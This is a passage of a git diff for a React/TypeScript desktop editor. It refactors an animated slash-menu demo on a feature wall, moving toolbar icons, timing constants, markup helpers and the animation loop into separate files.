-      strokeLinejoin="round"
-    >
-      <path d="M10 3 6 13" />
-      <path d="M5 3h5" />
-      <path d="M6 13h5" />
-    </svg>
-  ),
-  strike: (
-    <svg
-      viewBox="0 0 16 16"
-      fill="none"
-      stroke="currentColor"
-      strokeWidth={1.5}
-      strokeLinecap="round"
-      strokeLinejoin="round"
-    >
-      <path d="M3 8h10" />
-      <path d="M11 5a3 3 0 0 0-3-2H7a2.5 2.5 0 0 0-2.5 2.5C4.5 7 6 8 8 8" />
-      <path d="M5.5 11A2.5 2.5 0 0 0 8 13h1a3 3 0 0 0 3-2.5" />
-    </svg>
-  ),
-  list: (
-    <svg
-      viewBox="0 0 16 16"
-      fill="none"
-      stroke="currentColor"
-      strokeWidth={1.5}
-      strokeLinecap="round"
-      strokeLinejoin="round"
-    >
-      <circle cx={3.5} cy={4} r={0.7} fill="currentColor" />
-      <circle cx={3.5} cy={8} r={0.7} fill="currentColor" />
-      <circle cx={3.5} cy={12} r={0.7} fill="currentColor" />
-      <path d="M7 4h6" />
-      <path d="M7 8h6" />
-      <path d="M7 12h6" />
-    </svg>
-  ),
-  olist: (
-    <svg
-      viewBox="0 0 16 16"
-      fill="none"
-      stroke="currentColor"
-      strokeWidth={1.5}
-      strokeLinecap="round"
-      strokeLinejoin="round"
-    >
-      <path d="M2.5 3h1v2.5" />
-      <path d="M2 8h2c0.5 0 0.5 1 0 1l-1.5 2H4" />
-      <path d="M7 4h6" />
-      <path d="M7 8h6" />
-      <path d="M7 12h6" />
-    </svg>
-  ),
-  check: (
-    <svg
-      viewBox="0 0 16 16"
-      fill="none"
-      stroke="currentColor"
-      strokeWidth={1.5}
-      strokeLinecap="round"
-      strokeLinejoin="round"
-    >
-      <rect x={2.5} y={2.5} width={11} height={11} rx={2} />
-      <path d="m5.5 8 2 2 3-4" />
-    </svg>
-  ),
-  quote: (
-    <svg
-      viewBox="0 0 16 16"
-      fill="none"
-      stroke="currentColor"
-      strokeWidth={1.5}
-      strokeLinecap="round"
-      strokeLinejoin="round"
-    >
-      <path d="M5 4H3v3.5L5 9V6h2V4z" />
-      <path d="M11 4h-2v3.5l2 1.5V6h2V4z" />
-    </svg>
-  ),
-  code: (
-    <svg
-      viewBox="0 0 16 16"
-      fill="none"
-      stroke="currentColor"
-      strokeWidth={1.5}
-      strokeLinecap="round"
-      strokeLinejoin="round"
-    >
-      <path d="m6 5-3 3 3 3" />
-      <path d="m10 5 3 3-3 3" />
-    </svg>
-  ),
-  copy: (
-    <svg
-      viewBox="0 0 16 16"
-      fill="none"
-      stroke="currentColor"
-      strokeWidth={1.4}
-      strokeLinecap="round"
-      strokeLinejoin="round"
-    >
-      <rect x={5} y={5} width={8} height={8} rx={1.4} />
-      <path d="M3 11V4a1 1 0 0 1 1-1h7" />
-    </svg>
-  )
-}
-
-function ToolbarBtn(props: { iconKey: keyof typeof TB_ICON }): JSX.Element {
-  return (
-    <span className="inline-flex size-[22px] items-center justify-center rounded text-muted-foreground">
-      <span className="size-[13px] [&>svg]:size-full">{TB_ICON[props.iconKey]}</span>
-    </span>
-  )
-}
-
-function ToolbarSep(): JSX.Element {
-  return <span className="mx-1 h-3.5 w-px bg-foreground/10" />
-}
-
 // Slash menu row — visible always; the active row gets the highlight
 // background, mirroring RichMarkdownSlashMenu.tsx.
 function SlashRow(props: {
@@ -287,313 +76,16 @@ export function EditorAnimatedVisual(props: { reducedMotion: boolean }): JSX.Ele
   const menuRef = useRef<HTMLDivElement | null>(null)
   const rowH1Ref = useRef<HTMLDivElement | null>(null)
   const rowCodeRef = useRef<HTMLDivElement | null>(null)
-
-  useEffect(() => {
-    if (reducedMotion) {
-      return
-    }
-    const docMaybe = docRef.current
-    const activeLineInitial = activeLineRef.current
-    const cursorMaybe = cursorRef.current
-    const menuMaybe = menuRef.current
-    const afterMaybe = afterRef.current
-    if (!docMaybe || !activeLineInitial || !cursorMaybe || !menuMaybe || !afterMaybe) {
-      return
-    }
-    // Re-bind to non-null locals so the helper closures spanning `await`
-    // points keep their narrowed types — TS flow analysis drops the narrow
-    // through async boundaries otherwise.
-    const doc: HTMLDivElement = docMaybe
-    const cursor: HTMLDivElement = cursorMaybe
-    const menu: HTMLDivElement = menuMaybe
-    const after: HTMLDivElement = afterMaybe
-
-    let cancelled = false
-    const timers: number[] = []
-    const wait = (ms: number): Promise<void> =>
-      new Promise((resolve) => {
-        const id = window.setTimeout(() => resolve(), ms)
-        timers.push(id)
-      })
-
-    // Stash initial DOM so we can restore between loops.
-    const initialActiveLineHTML = activeLineInitial.outerHTML
-    const initialActiveLineParent = activeLineInitial.parentNode
-    const initialActiveLineNextSibling = activeLineInitial.nextSibling
-
-    let activeLine: HTMLDivElement = activeLineInitial
-    let activeText: HTMLSpanElement | null = activeTextRef.current
-    let activeCaret: HTMLSpanElement | null =
-      activeLineInitial.querySelector<HTMLSpanElement>('[data-md-caret]')
-
-    function setSlashMode(mode: 'all' | 'code'): void {
-      menu.querySelectorAll<HTMLElement>('[data-slash-show]').forEach((el) => {
-        const allowed = (el.getAttribute('data-slash-show') ?? '').split(',')
-        el.style.display = allowed.includes(mode) ? '' : 'none'
-      })
-    }
-
-    function placeMenuNearLine(line: HTMLElement): void {
-      const docRect = doc.getBoundingClientRect()
-      const lineRect = line.getBoundingClientRect()
-      // Why: nudge the menu right so it doesn't cover the "/" the user just
-      // typed — keeps the typed character visible alongside the menu.
-      const x = lineRect.left - docRect.left + 16
-      menu.style.left = `${x}px`
-      menu.style.top = '0px'
-      const wasShown = menu.dataset.shown === '1'
-      if (!wasShown) {
-        menu.style.visibility = 'hidden'
-        menu.dataset.shown = '1'
-        menu.style.opacity = '1'
-        menu.style.transform = 'none'
-      }
-      const menuH = menu.getBoundingClientRect().height
-      if (!wasShown) {
-        menu.dataset.shown = ''
-        menu.style.opacity = ''
-        menu.style.transform = ''
-        menu.style.visibility = ''
-      }
-      const belowY = lineRect.bottom - docRect.top + 6
-      const aboveY = lineRect.top - docRect.top - menuH - 6
-      const docH = docRect.height
-      const fitsBelow = belowY + menuH <= docH - 4
-      menu.style.top = `${fitsBelow ? belowY : Math.max(4, aboveY)}px`
-    }
-
-    function moveCursorTo(targetEl: HTMLElement, offsetX = 0, offsetY = 0): void {
-      const docRect = doc.getBoundingClientRect()
-      const tRect = targetEl.getBoundingClientRect()
-      const x = tRect.left - docRect.left + offsetX
-      const y = tRect.top - docRect.top + offsetY
-      cursor.style.transform = `translate(${x}px, ${y}px)`
-    }
-
-    function showMenu(): void {
-      menu.dataset.shown = '1'
-      menu.style.opacity = '1'
-      menu.style.transform = 'translateY(0) scale(1)'
-    }
-    function hideMenu(): void {
-      menu.dataset.shown = ''
-      menu.style.opacity = '0'
-      menu.style.transform = 'translateY(-4px) scale(0.985)'
-    }
-    function clearActiveRow(): void {
-      menu
-        .querySelectorAll<HTMLElement>('[data-slash-row]')
-        .forEach((el) => el.classList.remove('slash-active'))
-    }
-
-    async function typeInto(
-      el: HTMLElement,
-      text: string,
-      perChar = TYPE_PER_CHAR_MS
-    ): Promise<void> {
-      for (const ch of text) {
-        if (cancelled) {
-          return
-        }
-        el.textContent = (el.textContent ?? '') + ch
-        await wait(perChar)
-      }
-    }
-
-    function clearAfter(): void {
-      after.innerHTML = ''
-    }
-
-    function restoreInitialActiveLine(): void {
-      // Pull whatever the active line currently is back into the original
-      // shape so the next loop starts from the same DOM as render.
-      activeLine.remove()
-      const wrapper = document.createElement('div')
-      wrapper.innerHTML = initialActiveLineHTML
-      const fresh = wrapper.firstElementChild as HTMLDivElement | null
-      if (!fresh) {
-        return
-      }
-      if (initialActiveLineParent) {
-        if (
-          initialActiveLineNextSibling &&
-          initialActiveLineNextSibling.parentNode === initialActiveLineParent
-        ) {
-          initialActiveLineParent.insertBefore(fresh, initialActiveLineNextSibling)
-        } else {
-          initialActiveLineParent.appendChild(fresh)
-        }
-      }
-      activeLine = fresh
-      activeText = fresh.querySelector<HTMLSpanElement>('[data-md-active-text]')
-      activeCaret = fresh.querySelector<HTMLSpanElement>('[data-md-caret]')
-    }
-
-    async function loop(): Promise<void> {
-      while (!cancelled) {
-        // Reset state.
-        clearAfter()
-        hideMenu()
-        clearActiveRow()
-        cursor.style.transition = 'none'
-        cursor.style.opacity = '0'
-        cursor.style.transform = 'translate(-30px, 80px)'
-        // Force reflow so the next transition takes effect.
-        void cursor.offsetWidth
-        cursor.style.transition = ''
-        await wait(PRE_HOVER_MS)
-        if (cancelled) {
-          return
-        }
-
-        // 1. Type "/" on the fresh active line.
-        if (activeText) {
-          activeText.textContent = ''
-        }
-        await typeInto(activeText ?? activeLine, '/')
-        if (cancelled) {
-          return
-        }
-        await wait(POST_TYPE_MS)
-        if (cancelled) {
-          return
-        }
-
-        // 2. Slash menu opens, anchored near the line.
-        setSlashMode('all')
-        placeMenuNearLine(activeLine)
-        showMenu()
-        cursor.style.opacity = '1'
-        const rowH1 = rowH1Ref.current
-        if (rowH1) {
-          moveCursorTo(rowH1, 14, 11)
-          rowH1.classList.add('slash-active')
-        }
-        await wait(MENU_HOLD_MS)
-        if (cancelled) {
-          return
-        }
-
-        // 3. Click — line becomes an H1.
-        cursor.dataset.clicking = '1'
-        await wait(CLICK_RIPPLE_MS)
-        if (cancelled) {
-          return
-        }
-        cursor.dataset.clicking = ''
-        hideMenu()
-        cursor.style.opacity = '0'
-        await wait(POST_CLICK_MS)
-        if (cancelled) {
-          return
-        }
-
-        // Convert the active line to an H1: clear the slash glyph, drop the
-        // monospace styling, type the heading.
-        activeLine.dataset.role = 'h1'
-        if (activeText) {
-          activeText.textContent = ''
-        }
-        if (activeCaret) {
-          activeCaret.style.display = ''
-        }
-        await wait(POST_H1_REVEAL_MS)
-        if (cancelled) {
-          return
-        }
-        await typeInto(activeText ?? activeLine, 'Ship checklist', 55)
-        if (cancelled) {
-          return
-        }
-        await wait(POST_H1_TYPE_MS)
-        if (cancelled) {
-          return
-        }
-
-        // 4. New active line below the H1 — user types "/code".
-        const newActive = document.createElement('div')
-        newActive.dataset.role = 'active'
-        newActive.className = activeLineClass()
-        const newText = document.createElement('span')
-        newText.dataset.mdActiveText = '1'
-        const newCaret = document.createElement('span')
-        newCaret.dataset.mdCaret = '1'
-        newCaret.className = caretClass()
-        newActive.appendChild(newText)
-        newActive.appendChild(newCaret)
-        after.appendChild(newActive)
-        const lineForBeat2 = newActive
-        await wait(NEW_LINE_HOLD_MS)
-        if (cancelled) {
-          return
-        }
-
-        for (const ch of '/code') {
-          if (cancelled) {
-            return
-          }
-          newText.textContent = (newText.textContent ?? '') + ch
-          await wait(TYPE_PER_CHAR_MS)
-        }
-        await wait(POST_TYPE_MS)
-        if (cancelled) {
-          return
-        }
-
-        // Filter to the Code Block row, anchor menu, highlight.
-        clearActiveRow()
-        if (rowH1) {
-          rowH1.classList.remove('slash-active')
-        }
-        setSlashMode('code')
-        placeMenuNearLine(lineForBeat2)
-        showMenu()
-        cursor.style.opacity = '1'
-        const rowCode = rowCodeRef.current
-        if (rowCode) {
-          moveCursorTo(rowCode, 14, 11)
-          rowCode.classList.add('slash-active')
-        }
-        await wait(MENU_HOLD_MS)
-        if (cancelled) {
-          return
-        }
-
-        // 5. Click — line becomes a code block.
-        cursor.dataset.clicking = '1'
-        await wait(CLICK_RIPPLE_MS)
-        if (cancelled) {
-          return
-        }
-        cursor.dataset.clicking = ''
-        hideMenu()
-        cursor.style.opacity = '0'
-        await wait(POST_CLICK_MS)
-        if (cancelled) {
-          return
-        }
-
-        const codeBlock = document.createElement('div')
-        codeBlock.className = 'mt-1.5 animate-[md-block-in_380ms_cubic-bezier(.2,.8,.2,1)_both]'
-        codeBlock.innerHTML = codeBlockHTML()
-        lineForBeat2.replaceWith(codeBlock)
-
-        await wait(FINAL_HOLD_MS)
-        if (cancelled) {
-          return
-        }
-
-        // Restore the initial DOM and loop.
-        restoreInitialActiveLine()
-      }
-    }
-
-    void loop()
-    return () => {
-      cancelled = true
-      timers.forEach((id) => window.clearTimeout(id))
-    }
-  }, [reducedMotion])
+  useEditorAnimatedVisualAnimation(reducedMotion, {
+    docRef,
+    activeLineRef,
+    activeTextRef,
+    afterRef,
+    cursorRef,
+    menuRef,
+    rowH1Ref,
+    rowCodeRef
+  })
 
   return (
     <div className="relative overflow-visible rounded-xl border border-border bg-card text-foreground shadow-[0_1px_2px_rgba(24,24,27,0.04)]">
@@ -829,29 +321,3 @@ function ActiveLine(props: {
     </div>
   )
 }
-
-// Helpers shared between initial render and re-created beat-2 lines so the
-// styling stays in lockstep regardless of which path mounts the node.
-function activeLineClass(): string {
-  return 'relative mt-1.5 min-h-[18px] py-px'
-}
-function caretClass(): string {
-  return 'inline-block'
-}
-
-function codeBlockHTML(): string {
-  return `
-    <div style="background: rgba(24,24,27,0.04); border: 1px solid rgba(24,24,27,0.10); border-radius: 8px; overflow: hidden; font-family: ui-monospace, SFMono-Regular, Menlo, monospace; font-size: 11.5px; line-height: 1.55;">
-      <div style="display: flex; align-items: center; justify-content: space-between; padding: 5px 9px; border-bottom: 1px solid rgba(24,24,27,0.10); background: rgba(24,24,27,0.04);">
-        <span style="font-size: 10px; font-weight: 600; color: rgb(113 113 122); letter-spacing: 0.02em;">typescript</span>
-        <span style="display: inline-flex; align-items: center; gap: 4px; font-size: 9.5px; color: rgb(113 113 122);">
-          <svg viewBox="0 0 16 16" width="11" height="11" fill="none" stroke="currentColor" stroke-width="1.4" stroke-linecap="round" stroke-linejoin="round"><rect x="5" y="5" width="8" height="8" rx="1.4"/><path d="M3 11V4a1 1 0 0 1 1-1h7"/></svg>
-          <span>Copy</span>
-        </span>
-      </div>
-      <div style="padding: 8px 11px; background: #fff; display: flex; flex-direction: column; gap: 2px;">
-        <div><span style="color:#a855f7;">await</span> <span style="color:#2563eb;">runSmokeTests</span><span style="color:rgb(113 113 122);">({</span> env<span style="color:rgb(113 113 122);">:</span> <span style="color:#16a34a;">'staging'</span> <span style="color:rgb(113 113 122);">})</span></div>
-        <div><span style="color:#a855f7;">await</span> <span style="color:#2563eb;">publish</span><span style="color:rgb(113 113 122);">({</span> tag<span style="color:rgb(113 113 122);">:</span> <span style="color:#16a34a;">'v0.4.0'</span> <span style="color:rgb(113 113 122);">})</span></div>
-      </div>
-    </div>`
-}
diff --git a/src/renderer/src/components/feature-wall/editor-animated-toolbar-icons.tsx b/src/renderer/src/components/feature-wall/editor-animated-toolbar-icons.tsx
new file mode 100644
index 00000000000..200719ecfe1
--- /dev/null
+++ b/src/renderer/src/components/feature-wall/editor-animated-toolbar-icons.tsx
@@ -0,0 +1,203 @@
+import type { JSX } from 'react'
+
+// Toolbar icons mirror RichMarkdownToolbar.tsx — same families so the
+// surface reads as Orca's actual editor, not a generic editor.
+export const TB_ICON: Record<string, JSX.Element> = {
+  pilcrow: (
+    <svg
+      viewBox="0 0 16 16"
+      fill="none"
+      stroke="currentColor"
+      strokeWidth={1.4}
+      strokeLinecap="round"
+      strokeLinejoin="round"
+    >
+      <path d="M11 3H6.5a3 3 0 0 0 0 6H8" />
+      <path d="M9 3v11" />
+      <path d="M12 3v11" />
+    </svg>
+  ),
+  h1: (
+    <svg
+      viewBox="0 0 16 16"
+      fill="none"
+      stroke="currentColor"
+      strokeWidth={1.5}
+      strokeLinecap="round"
+      strokeLinejoin="round"
+    >
+      <path d="M3 4v8" />
+      <path d="M9 4v8" />
+      <path d="M3 8h6" />
+      <path d="M12 6l1-1v7" />
+    </svg>
+  ),
+  h2: (
+    <svg
+      viewBox="0 0 16 16"
+      fill="none"
+      stroke="currentColor"
+      strokeWidth={1.5}
+      strokeLinecap="round"
+      strokeLinejoin="round"
+    >
+      <path d="M3 4v8" />
+      <path d="M9 4v8" />
+      <path d="M3 8h6" />
+      <path d="M11 6.2A1.5 1.5 0 0 1 14 6.5c0 1.4-3 2-3 5.5h3" />
+    </svg>
+  ),
+  h3: (
+    <svg
+      viewBox="0 0 16 16"
+      fill="none"
+      stroke="currentColor"
+      strokeWidth={1.5}
+      strokeLinecap="round"
+      strokeLinejoin="round"
+    >
+      <path d="M3 4v8" />
+      <path d="M9 4v8" />
+      <path d="M3 8h6" />
+      <path d="M11 6.2A1.5 1.5 0 0 1 14 6.5c0 1.5-3 1.5-3 1.5s3 0 3 2c0 1.4-2.5 1.7-3 1" />
+    </svg>
+  ),
+  bold: (
+    <svg
+      viewBox="0 0 16 16"
+      fill="none"
+      stroke="currentColor"
+      strokeWidth={1.5}
+      strokeLinecap="round"
+      strokeLinejoin="round"
+    >
+      <path d="M5 3h4a2.5 2.5 0 0 1 0 5H5z" />
+      <path d="M5 8h4.5a2.5 2.5 0 0 1 0 5H5z" />
+    </svg>
+  ),
+  italic: (
+    <svg
+      viewBox="0 0 16 16"
+      fill="none"
+      stroke="currentColor"
+      strokeWidth={1.5}
+      strokeLinecap="round"
+      strokeLinejoin="round"
+    >
+      <path d="M10 3 6 13" />
+      <path d="M5 3h5" />
+      <path d="M6 13h5" />
+    </svg>
+  ),
+  strike: (
+    <svg
+      viewBox="0 0 16 16"
+      fill="none"
+      stroke="currentColor"
+      strokeWidth={1.5}
+      strokeLinecap="round"
+      strokeLinejoin="round"
+    >
+      <path d="M3 8h10" />
+      <path d="M11 5a3 3 0 0 0-3-2H7a2.5 2.5 0 0 0-2.5 2.5C4.5 7 6 8 8 8" />
+      <path d="M5.5 11A2.5 2.5 0 0 0 8 13h1a3 3 0 0 0 3-2.5" />
+    </svg>
+  ),
+  list: (
+    <svg
+      viewBox="0 0 16 16"
+      fill="none"
+      stroke="currentColor"
+      strokeWidth={1.5}
+      strokeLinecap="round"
+      strokeLinejoin="round"
+    >
+      <circle cx={3.5} cy={4} r={0.7} fill="currentColor" />
+      <circle cx={3.5} cy={8} r={0.7} fill="currentColor" />
+      <circle cx={3.5} cy={12} r={0.7} fill="currentColor" />
+      <path d="M7 4h6" />
+      <path d="M7 8h6" />
+      <path d="M7 12h6" />
+    </svg>
+  ),
+  olist: (
+    <svg
+      viewBox="0 0 16 16"
+      fill="none"
+      stroke="currentColor"
+      strokeWidth={1.5}
+      strokeLinecap="round"
+      strokeLinejoin="round"
+    >
+      <path d="M2.5 3h1v2.5" />
+      <path d="M2 8h2c0.5 0 0.5 1 0 1l-1.5 2H4" />
+      <path d="M7 4h6" />
+      <path d="M7 8h6" />
+      <path d="M7 12h6" />
+    </svg>
+  ),
+  check: (
+    <svg
+      viewBox="0 0 16 16"
+      fill="none"
+      stroke="currentColor"
+      strokeWidth={1.5}
+      strokeLinecap="round"
+      strokeLinejoin="round"
+    >
+      <rect x={2.5} y={2.5} width={11} height={11} rx={2} />
+      <path d="m5.5 8 2 2 3-4" />
+    </svg>
+  ),
+  quote: (
+    <svg
+      viewBox="0 0 16 16"
+      fill="none"
+      stroke="currentColor"
+      strokeWidth={1.5}
+      strokeLinecap="round"
+      strokeLinejoin="round"
+    >
+      <path d="M5 4H3v3.5L5 9V6h2V4z" />
+      <path d="M11 4h-2v3.5l2 1.5V6h2V4z" />
+    </svg>
+  ),
+  code: (
+    <svg
+      viewBox="0 0 16 16"
+      fill="none"
+      stroke="currentColor"
+      strokeWidth={1.5}
+      strokeLinecap="round"
+      strokeLinejoin="round"
+    >
+      <path d="m6 5-3 3 3 3" />
+      <path d="m10 5 3 3-3 3" />
+    </svg>
+  ),
+  copy: (
+    <svg
+      viewBox="0 0 16 16"
+      fill="none"
+      stroke="currentColor"
+      strokeWidth={1.4}
+      strokeLinecap="round"
+      strokeLinejoin="round"
+    >
+      <rect x={5} y={5} width={8} height={8} rx={1.4} />
+      <path d="M3 11V4a1 1 0 0 1 1-1h7" />
+    </svg>
+  )
+}
+
+export function ToolbarBtn(props: { iconKey: keyof typeof TB_ICON }): JSX.Element {
+  return (
+    <span className="inline-flex size-[22px] items-center justify-center rounded text-muted-foreground">
+      <span className="size-[13px] [&>svg]:size-full">{TB_ICON[props.iconKey]}</span>
+    </span>
+  )
+}
+
+export function ToolbarSep(): JSX.Element {
+  return <span className="mx-1 h-3.5 w-px bg-foreground/10" />
+}
diff --git a/src/renderer/src/components/feature-wall/editor-animated-visual-markup.ts b/src/renderer/src/components/feature-wall/editor-animated-visual-markup.ts
new file mode 100644
index 00000000000..a2a103b8c06
--- /dev/null
+++ b/src/renderer/src/components/feature-wall/editor-animated-visual-markup.ts
@@ -0,0 +1,52 @@
+import type { RefObject } from 'react'
+
+export type EditorAnimatedVisualRefs = {
+  docRef: RefObject<HTMLDivElement | null>
+  activeLineRef: RefObject<HTMLDivElement | null>
+  activeTextRef: RefObject<HTMLSpanElement | null>
+  afterRef: RefObject<HTMLDivElement | null>
+  cursorRef: RefObject<HTMLDivElement | null>
+  menuRef: RefObject<HTMLDivElement | null>
+  rowH1Ref: RefObject<HTMLDivElement | null>
+  rowCodeRef: RefObject<HTMLDivElement | null>
+}
+
+export const EDITOR_ANIMATION_TIMING = {
+  preHoverMs: 450,
+  typePerCharMs: 60,
+  postTypeMs: 120,
+  menuHoldMs: 900,
+  clickRippleMs: 220,
+  postClickMs: 140,
+  postH1RevealMs: 260,
+  postH1TypeMs: 700,
+  newLineHoldMs: 380,
+  finalHoldMs: 2200
+} as const
+
+// Helpers shared between initial render and re-created beat-2 lines so the
+// styling stays in lockstep regardless of which path mounts the node.
+export function activeLineClass(): string {
+  return 'relative mt-1.5 min-h-[18px] py-px'
+}
+
+export function caretClass(): string {
+  return 'inline-block'
+}
+
+export function codeBlockHTML(): string {
+  return `
+    <div style="background: rgba(24,24,27,0.04); border: 1px solid rgba(24,24,27,0.10); border-radius: 8px; overflow: hidden; font-family: ui-monospace, SFMono-Regular, Menlo, monospace; font-size: 11.5px; line-height: 1.55;">
+      <div style="display: flex; align-items: center; justify-content: space-between; padding: 5px 9px; border-bottom: 1px solid rgba(24,24,27,0.10); background: rgba(24,24,27,0.04);">
+        <span style="font-size: 10px; font-weight: 600; color: rgb(113 113 122); letter-spacing: 0.02em;">typescript</span>
+        <span style="display: inline-flex; align-items: center; gap: 4px; font-size: 9.5px; color: rgb(113 113 122);">
+          <svg viewBox="0 0 16 16" width="11" height="11" fill="none" stroke="currentColor" stroke-width="1.4" stroke-linecap="round" stroke-linejoin="round"><rect x="5" y="5" width="8" height="8" rx="1.4"/><path d="M3 11V4a1 1 0 0 1 1-1h7"/></svg>
+          <span>Copy</span>
+        </span>
+      </div>
+      <div style="padding: 8px 11px; background: #fff; display: flex; flex-direction: column; gap: 2px;">
+        <div><span style="color:#a855f7;">await</span> <span style="color:#2563eb;">runSmokeTests</span><span style="color:rgb(113 113 122);">({</span> env<span style="color:rgb(113 113 122);">:</span> <span style="color:#16a34a;">'staging'</span> <span style="color:rgb(113 113 122);">})</span></div>
+        <div><span style="color:#a855f7;">await</span> <span style="color:#2563eb;">publish</span><span style="color:rgb(113 113 122);">({</span> tag<span style="color:rgb(113 113 122);">:</span> <span style="color:#16a34a;">'v0.4.0'</span> <span style="color:rgb(113 113 122);">})</span></div>
+      </div>
+    </div>`
+}
diff --git a/src/renderer/src/components/feature-wall/use-editor-animated-visual-animation.ts b/src/renderer/src/components/feature-wall/use-editor-animated-visual-animation.ts
new file mode 100644
index 00000000000..c5420ec04a0
--- /dev/null
+++ b/src/renderer/src/components/feature-wall/use-editor-animated-visual-animation.ts
@@ -0,0 +1,340 @@
+import { useEffect } from 'react'
+import {
+  EDITOR_ANIMATION_TIMING,
+  activeLineClass,
+  caretClass,
+  codeBlockHTML,
+  type EditorAnimatedVisualRefs
+} from './editor-animated-visual-markup'
+
+export function useEditorAnimatedVisualAnimation(
+  reducedMotion: boolean,
+  refs: EditorAnimatedVisualRefs
+): void {
+  const {
+    docRef,
+    activeLineRef,
+    activeTextRef,
+    afterRef,
+    cursorRef,
+    menuRef,
+    rowH1Ref,
+    rowCodeRef
+  } = refs
+  useEffect(() => {
+    if (reducedMotion) {
+      return
+    }
+    const docMaybe = docRef.current
+    const activeLineInitial = activeLineRef.current
+    const cursorMaybe = cursorRef.current
+    const menuMaybe = menuRef.current
+    const afterMaybe = afterRef.current
+    if (!docMaybe || !activeLineInitial || !cursorMaybe || !menuMaybe || !afterMaybe) {
+      return
+    }
+    // Re-bind to non-null locals so the helper closures spanning `await`
+    // points keep their narrowed types — TS flow analysis drops the narrow
+    // through async boundaries otherwise.
+    const doc: HTMLDivElement = docMaybe
+    const cursor: HTMLDivElement = cursorMaybe
+    const menu: HTMLDivElement = menuMaybe
+    const after: HTMLDivElement = afterMaybe
+
+    let cancelled = false
+    const timers: number[] = []
+    const wait = (ms: number): Promise<void> =>
+      new Promise((resolve) => {
+        const id = window.setTimeout(() => resolve(), ms)
+        timers.push(id)
+      })
+
+    // Stash initial DOM so we can restore between loops.
+    const initialActiveLineHTML = activeLineInitial.outerHTML
+    const initialActiveLineParent = activeLineInitial.parentNode
+    const initialActiveLineNextSibling = activeLineInitial.nextSibling
+
+    let activeLine: HTMLDivElement = activeLineInitial
+    let activeText: HTMLSpanElement | null = activeTextRef.current
+    let activeCaret: HTMLSpanElement | null =
+      activeLineInitial.querySelector<HTMLSpanElement>('[data-md-caret]')
+
+    function setSlashMode(mode: 'all' | 'code'): void {
+      menu.querySelectorAll<HTMLElement>('[data-slash-show]').forEach((el) => {
+        const allowed = (el.getAttribute('data-slash-show') ?? '').split(',')
+        el.style.display = allowed.includes(mode) ? '' : 'none'
+      })
+    }
+
+    function placeMenuNearLine(line: HTMLElement): void {
+      const docRect = doc.getBoundingClientRect()
+      const lineRect = line.getBoundingClientRect()
+      // Why: nudge the menu right so it doesn't cover the "/" the user just
+      // typed — keeps the typed character visible alongside the menu.
+      const x = lineRect.left - docRect.left + 16
+      menu.style.left = `${x}px`
+      menu.style.top = '0px'
+      const wasShown = menu.dataset.shown === '1'
+      if (!wasShown) {
+        menu.style.visibility = 'hidden'
+        menu.dataset.shown = '1'
+        menu.style.opacity = '1'
+        menu.style.transform = 'none'
+      }
+      const menuH = menu.getBoundingClientRect().height
+      if (!wasShown) {
+        menu.dataset.shown = ''
+        menu.style.opacity = ''
+        menu.style.transform = ''
+        menu.style.visibility = ''
+      }
+      const belowY = lineRect.bottom - docRect.top + 6
+      const aboveY = lineRect.top - docRect.top - menuH - 6
+      const docH = docRect.height
+      const fitsBelow = belowY + menuH <= docH - 4
+      menu.style.top = `${fitsBelow ? belowY : Math.max(4, aboveY)}px`
+    }
+
+    function moveCursorTo(targetEl: HTMLElement, offsetX = 0, offsetY = 0): void {
+      const docRect = doc.getBoundingClientRect()
+      const tRect = targetEl.getBoundingClientRect()
+      const x = tRect.left - docRect.left + offsetX
+      const y = tRect.top - docRect.top + offsetY
+      cursor.style.transform = `translate(${x}px, ${y}px)`
+    }
+
+    function showMenu(): void {
+      menu.dataset.shown = '1'
+      menu.style.opacity = '1'
+      menu.style.transform = 'translateY(0) scale(1)'
+    }
+    function hideMenu(): void {
+      menu.dataset.shown = ''
+      menu.style.opacity = '0'
+      menu.style.transform = 'translateY(-4px) scale(0.985)'
+    }
+    function clearActiveRow(): void {
+      menu
+        .querySelectorAll<HTMLElement>('[data-slash-row]')
+        .forEach((el) => el.classList.remove('slash-active'))
+    }
+
+    async function typeInto(
+      el: HTMLElement,
+      text: string,
+      perChar: number = EDITOR_ANIMATION_TIMING.typePerCharMs
+    ): Promise<void> {
+      for (const ch of text) {
+        if (cancelled) {
+          return
+        }
+        el.textContent = (el.textContent ?? '') + ch
+        await wait(perChar)
+      }
+    }
+
+    function clearAfter(): void {
+      after.innerHTML = ''
+    }
+
+    function restoreInitialActiveLine(): void {
+      // Pull whatever the active line currently is back into the original
+      // shape so the next loop starts from the same DOM as render.
+      activeLine.remove()
+      const wrapper = document.createElement('div')
+      wrapper.innerHTML = initialActiveLineHTML
+      const fresh = wrapper.firstElementChild as HTMLDivElement | null
+      if (!fresh) {
+        return
+      }
+      if (initialActiveLineParent) {
+        if (
+          initialActiveLineNextSibling &&
+          initialActiveLineNextSibling.parentNode === initialActiveLineParent
+        ) {
+          initialActiveLineParent.insertBefore(fresh, initialActiveLineNextSibling)
+        } else {
+          initialActiveLineParent.appendChild(fresh)
+        }
+      }
+      activeLine = fresh
+      activeText = fresh.querySelector<HTMLSpanElement>('[data-md-active-text]')
+      activeCaret = fresh.querySelector<HTMLSpanElement>('[data-md-caret]')
+    }
+
+    async function loop(): Promise<void> {
+      while (!cancelled) {
+        // Reset state.
+        clearAfter()
+        hideMenu()
+        clearActiveRow()
+        cursor.style.transition = 'none'
+        cursor.style.opacity = '0'
+        cursor.style.transform = 'translate(-30px, 80px)'
+        // Force reflow so the next transition takes effect.
+        void cursor.offsetWidth
+        cursor.style.transition = ''
+        await wait(EDITOR_ANIMATION_TIMING.preHoverMs)
+        if (cancelled) {
+          return
+        }
+
+        // 1. Type "/" on the fresh active line.
+        if (activeText) {
+          activeText.textContent = ''
+        }
+        await typeInto(activeText ?? activeLine, '/')
+        if (cancelled) {
+          return
+        }
+        await wait(EDITOR_ANIMATION_TIMING.postTypeMs)
+        if (cancelled) {
+          return
+        }
+
+        // 2. Slash menu opens, anchored near the line.
+        setSlashMode('all')
+        placeMenuNearLine(activeLine)
+        showMenu()
+        cursor.style.opacity = '1'
+        const rowH1 = rowH1Ref.current
+        if (rowH1) {
+          moveCursorTo(rowH1, 14, 11)
+          rowH1.classList.add('slash-active')
+        }
+        await wait(EDITOR_ANIMATION_TIMING.menuHoldMs)
+        if (cancelled) {
+          return
+        }
+
+        // 3. Click — line becomes an H1.
+        cursor.dataset.clicking = '1'
+        await wait(EDITOR_ANIMATION_TIMING.clickRippleMs)
+        if (cancelled) {
+          return
+        }
+        cursor.dataset.clicking = ''
+        hideMenu()
+        cursor.style.opacity = '0'
+        await wait(EDITOR_ANIMATION_TIMING.postClickMs)
+        if (cancelled) {
